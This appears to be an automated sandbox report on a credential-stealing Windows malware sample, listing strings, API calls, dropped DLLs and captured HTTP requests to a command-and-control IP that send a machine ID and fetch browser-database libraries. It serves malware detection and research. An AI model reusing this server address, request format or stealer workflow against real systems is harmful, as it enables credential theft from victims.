http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll
Source: AppLaunch.exe, 00000003.00000003.249455218.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dllo
Source: AppLaunch.exe, 00000003.00000003.260135623.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.249455218.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257444328.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dllu
Source: AppLaunch.exe, 00000003.00000003.238036948.000000000514F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/lesO
Source: AppLaunch.exe, 00000003.00000003.238036948.000000000514F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.247223736.000000000516B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/min
Source: softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: xGSkelSjdu.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: xGSkelSjdu.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: xGSkelSjdu.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: xGSkelSjdu.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: xGSkelSjdu.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: xGSkelSjdu.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: xGSkelSjdu.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: xGSkelSjdu.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: xGSkelSjdu.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: xGSkelSjdu.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: xGSkelSjdu.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: xGSkelSjdu.exe, softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: xGSkelSjdu.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: xGSkelSjdu.exe, softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: mozglue.dll.3.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: sqlite3.dll.3.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 2Ct4F3Eh364b.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2Ct4F3Eh364b.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 2Ct4F3Eh364b.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AppLaunch.exe, 00000003.00000003.258741532.000000000855F000.00000004.00000020.00020000.00000000.sdmp, mJVvJ7y1Ogj5.3.dr, 2Ct4F3Eh364b.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 2Ct4F3Eh364b.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: https://mozilla.org0
Source: xGSkelSjdu.exe	String found in binary or memory: https://notepad-plus-plus.org/0
Source: AppLaunch.exe, 00000003.00000003.258741532.000000000855F000.00000004.00000020.00020000.00000000.sdmp, mJVvJ7y1Ogj5.3.dr, 2Ct4F3Eh364b.3.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: AppLaunch.exe, 00000003.00000003.258741532.000000000855F000.00000004.00000020.00020000.00000000.sdmp, mJVvJ7y1Ogj5.3.dr, 2Ct4F3Eh364b.3.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: AppLaunch.exe, 00000003.00000003.258741532.000000000855F000.00000004.00000020.00020000.00000000.sdmp, mJVvJ7y1Ogj5.3.dr, 2Ct4F3Eh364b.3.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: AppLaunch.exe, 00000003.00000003.258741532.000000000855F000.00000004.00000020.00020000.00000000.sdmp, mJVvJ7y1Ogj5.3.dr, 2Ct4F3Eh364b.3.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: AppLaunch.exe, 00000003.00000003.258741532.000000000855F000.00000004.00000020.00020000.00000000.sdmp, mJVvJ7y1Ogj5.3.dr, 2Ct4F3Eh364b.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: AYAYAYAY1337Host: 85.192.63.15Content-Length: 94Connection: Keep-AliveCache-Control: no-cacheData Raw: 6d 61 63 68 69 6e 65 49 64 3d 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 7c 68 61 72 64 7a 26 63 6f 6e 66 69 67 49 64 3d 65 32 65 36 62 64 35 64 61 35 33 36 64 37 65 62 64 36 34 66 62 61 32 32 30 66 31 36 65 30 30 63 Data Ascii: machineId=d06ed635-68f6-4e9a-955c-4899f5f57b9a|user&configId=e2e6bd5da536d7ebd64fba220f16e00c

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 3_2_004133D0 LocalAlloc,LocalAlloc,StrStrW,lstrlenW,LocalAlloc,LocalFree,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,lstrlenA,lstrcpyn,LocalFree,LocalFree,GetFileSize,LocalAlloc,lstrlenA,lstrcpyn,ReadFile,CloseHandle,LocalFree,DeleteFileW,LocalFree,LocalFree,LocalAlloc,lstrlenA,lstrcpyn,lstrlenA,LocalFree,InternetOpenW,InternetSetOptionW,InternetSetOptionW,InternetConnectW,HttpOpenRequestW,lstrlenW,HttpSendRequestW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,lstrlenA,MultiByteToWideChar,LocalAlloc,lstrlenA,MultiByteToWideChar,LocalFree,LocalFree,LocalFree,LocalFree,

3_2_004133D0

Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll HTTP/1.1Content-Type: text/plain;User-Agent: AYAYAYAY1337Host: 85.192.63.15Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll HTTP/1.1Content-Type: text/plain;User-Agent: AYAYAYAY1337Host: 85.192.63.15Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll HTTP/1.1Content-Type: text/plain;User-Agent: AYAYAYAY1337Host: 85.192.63.15Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll HTTP/1.1Content-Type: text/plain;User-Agent: AYAYAYAY1337Host: 85.192.63.15Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll HTTP/1.1Content-Type: text/plain;User-Agent: AYAYAYAY1337Host: 85.192.63.15Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll HTTP/1.1Content-Type: text/plain;User-Agent: AYAYAYAY1337Host: 85.192.63.15Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll HTTP/1.1Content-Type: text/plain;User-Agent: AYAYAYAY1337Host: 85.192.63.15Connection: Keep-AliveCache-Control: no-cache

Source: xGSkelSjdu.exe, 00000000.00000002.237251806.000000000049A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands

Found potential ransomware demand text

Source: mozglue.dll.3.dr	String found in binary or memory: ?unlock@MutexImpl@detail@mozilla@@IAEXXZ
Source: mozglue.dll.3.dr	String found in binary or memory: ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAEXXZ
Source: msvcp140.dll.3.dr	String found in binary or memory: ?unlock@critical_section@Concurrency@@QAEXXZ
Source: msvcp140.dll.3.dr	String found in binary or memory: ?unlock@critical_section@Concurrency@@QAEXXZ`(
Source: msvcp140.dll.3.dr	String found in binary or memory: ?_Mtx_unlock@threads@stdext@@YAXPAX@Z
Source: msvcp140.dll.3.dr	String found in binary or memory: ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAEXXZ
Source: msvcp140.dll.3.dr	String found in binary or memory: ?_Unlock@?$basic_streambuf@GU?$char_traits@G@std@@@std@@UAEXXZ
Source: msvcp140.dll.3.dr	String found in binary or memory: ?_Unlock@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@UAEXXZ
Source: sqlite3.dll.3.dr	String found in binary or memory: __unlock@

Source: xGSkelSjdu.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_004190CF	0_2_004190CF
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_0041F995	0_2_0041F995
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_00410257	0_2_00410257
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_00410A37	0_2_00410A37
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_00420B15	0_2_00420B15
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_00421BC1	0_2_00421BC1
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_0042041D	0_2_0042041D
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_004114F0	0_2_004114F0
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_0040FD82	0_2_0040FD82
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_00410E57	0_2_00410E57
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_0041062B	0_2_0041062B
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_0041FED9	0_2_0041FED9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: String function: 004158D8 appears 254 times
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: String function: 0041879C appears 47 times
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: String function: 00409450 appears 59 times

Source: xGSkelSjdu.exe, 00000000.00000000.235547841.000000000044F000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWholesomeD vs xGSkelSjdu.exe
Source: xGSkelSjdu.exe	Binary or memory string: OriginalFilenameWholesomeD vs xGSkelSjdu.exe

Source: xGSkelSjdu.exe

Static PE information: invalid certificate

Source: sqlite3.dll.3.dr

Static PE information: Number of sections : 18 > 10

Source: xGSkelSjdu.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\xGSkelSjdu.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\xGSkelSjdu.exe C:\Users\user\Desktop\xGSkelSjdu.exe
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe	Jump to behavior
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

File created: C:\Users\user\AppData\LocalLow\nss3.dll

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@6/11@0/1

Source: softokn3.dll.3.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: nss3.dll.3.dr, sqlite3.dll.3.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %s
Source: nss3.dll.3.dr, sqlite3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: nss3.dll.3.dr, sqlite3.dll.3.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: softokn3.dll.3.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: nss3.dll.3.dr, sqlite3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.3.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.3.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: nss3.dll.3.dr, sqlite3.dll.3.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: nss3.dll.3.dr, sqlite3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: sqlite3.dll.3.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: AppLaunch.exe, 00000003.00000003.258773593.0000000005208000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258591754.0000000008654000.00000004.00000020.00020000.00000000.sdmp, WO67rcUVSGXh.3.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: sqlite3.dll.3.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: sqlite3.dll.3.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.3.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 3_2_0041714F RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,CreateToolhelp32Snapshot,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,PathIsSlowW,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,Process32First,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,RealDriveType,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,PathIsSlowW,R

3_2_0041714F

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5016:120:WilError_01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Mutant created: \Sessions\1\BaseNamedObjects\AYAYAYAY1337

Source:	Binary string: freebl3.pdb source: freebl3.dll.3.dr
Source:	Binary string: softokn3.pdbp source: softokn3.dll.3.dr
Source:	Binary string: mozglue.pdb@+ source: mozglue.dll.3.dr
Source:	Binary string: nss3.pdb source: nss3.dll.3.dr
Source:	Binary string: mozglue.pdb source: mozglue.dll.3.dr
Source:	Binary string: softokn3.pdb source: softokn3.dll.3.dr
Source:	Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.3.dr
Source:	Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.3.dr

Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_00411B48 push ecx; ret		0_2_00411B5B
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_004187E1 push ecx; ret		0_2_004187F4

Source: nss3.dll.3.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.3.dr	Static PE information: section name: .didat
Source: mozglue.dll.3.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.3.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.3.dr	Static PE information: section name: .00cfg
Source: sqlite3.dll.3.dr	Static PE information: section name: /4
Source: sqlite3.dll.3.dr	Static PE information: section name: /19
Source: sqlite3.dll.3.dr	Static PE information: section name: /31
Source: sqlite3.dll.3.dr	Static PE information: section name: /45
Source: sqlite3.dll.3.dr	Static PE information: section name: /57
Source: sqlite3.dll.3.dr	Static PE information: section name: /70
Source: sqlite3.dll.3.dr	Static PE information: section name: /81
Source: sqlite3.dll.3.dr	Static PE information: section name: /92

Source: C:\Users\user\Desktop\xGSkelSjdu.exe

Code function: 0_2_0041E85B LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

0_2_0041E85B

Source: xGSkelSjdu.exe

Static PE information: real checksum: 0x5254a should be: 0x572a9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\LocalLow\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\LocalLow\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\LocalLow\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\LocalLow\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\LocalLow\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\LocalLow\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 3_2_00401000 RealDriveType,PathIsSlowW,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,Ge